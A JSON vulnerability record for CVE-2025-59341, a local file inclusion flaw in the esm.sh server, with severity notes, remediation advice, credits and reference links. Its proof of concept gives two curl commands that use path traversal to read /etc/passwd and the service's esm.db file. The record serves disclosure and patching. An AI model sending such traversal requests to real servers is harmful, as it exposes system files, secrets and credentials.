{"id":"CVE-2025-59341","aliases":["GHSA-49pv-gwxp-532r","GO-2025-3962"],"url":"https://o3.security/vulnerability/CVE-2025-59341","summary":"Local File Inclusion in esm.sh","details":"## Summary\n\nA Local File Inclusion (LFI) issue was identified in the esm.sh service URL handling. An attacker could craft a request that causes the server to read and return files from the host filesystem (or other unintended file sources).\n\n**Severity:** High — LFI can expose secrets, configuration files, credentials, or enable further compromise.\n**Impact:** reading configuration files, private keys, environment files, or other sensitive files; disclosure of secrets or credentials; information leakage that could enable further attacks.\n\nVulnerable code snippet is in this file: https://github.com/esm-dev/esm.sh/blob/c62f191d32639314ff0525d1c3c0e19ea2b16143/server/router.go#L1168\n\n---\n\n## Proof of Concept\n\n1. Using this default config file that I copy from the repo, the server is running at  `http://localhost:9999` with this command `go run server/esmd/main.go --config=config.json`\n\n\n```json\n{\n  \"port\": 9999,\n  \"npmRegistry\": \"https://registry.npmjs.org/\",\n  \"npmToken\": \"******\"\n}\n\n```\n\n2. Trigger the LFI vulnerability by sending this command below to read a local file\n\n```bash\n# read /etc/passwd\ncurl --path-as-is 'http://localhost:9999/pr/x/y@99/../../../../../../../../../../etc/passwd?raw=1&module=1'\n\n# or read the database esm.db file\ncurl --path-as-is 'http://localhost:9999/pr/x/y@99/../../../../../../../esm.db?raw=1&module=1'\n```\n\n<img width=\"3338\" height=\"1906\" alt=\"poc-image\" src=\"https://github.com/user-attachments/assets/f3721e5d-a09c-4227-960a-35279ff52811\" />\n\n\n---\n\n## Remediation\n\nSimply remove any `..` in the URL path before actually process the file. See more details in [this guide](https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html)\n\n## Credits\n\n- [Ai Ho (Jessie)](https://github.com/j3ssie)\n- [CL Yang](https://github.com/A11riseforme)","published":"2025-09-17T17:55:25.827Z","modified":"2026-08-12T03:51:20.146535539Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Go","name":"github.com/esm-dev/esm.sh","fixedVersion":null}],"fix":{"url":"https://github.com/esm-dev/esm.sh/commit/492de92850dd4d350c8b299af541f87541e58a45","label":"esm-dev/esm.sh@492de92"},"references":[{"type":"WEB","url":"https://github.com/esm-dev/esm.sh/blob/c62f191d32639314ff0525d1c3c0e19ea2b16143/server/router.go#L1168"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/59xxx/CVE-2025-59341.json"},{"type":"ADVISORY","url":"https://github.com/esm-dev/esm.sh/security/advisories/GHSA-49pv-gwxp-532r"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-59341"},{"type":"WEB","url":"https://github.com/esm-dev/esm.sh/commit/492de92850dd4d350c8b299af541f87541e58a45"},{"type":"PACKAGE","url":"https://github.com/esm-dev/esm.sh"},{"type":"WEB","url":"https://pkg.go.dev/vuln/GO-2025-3962"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:20.146535539Z"}}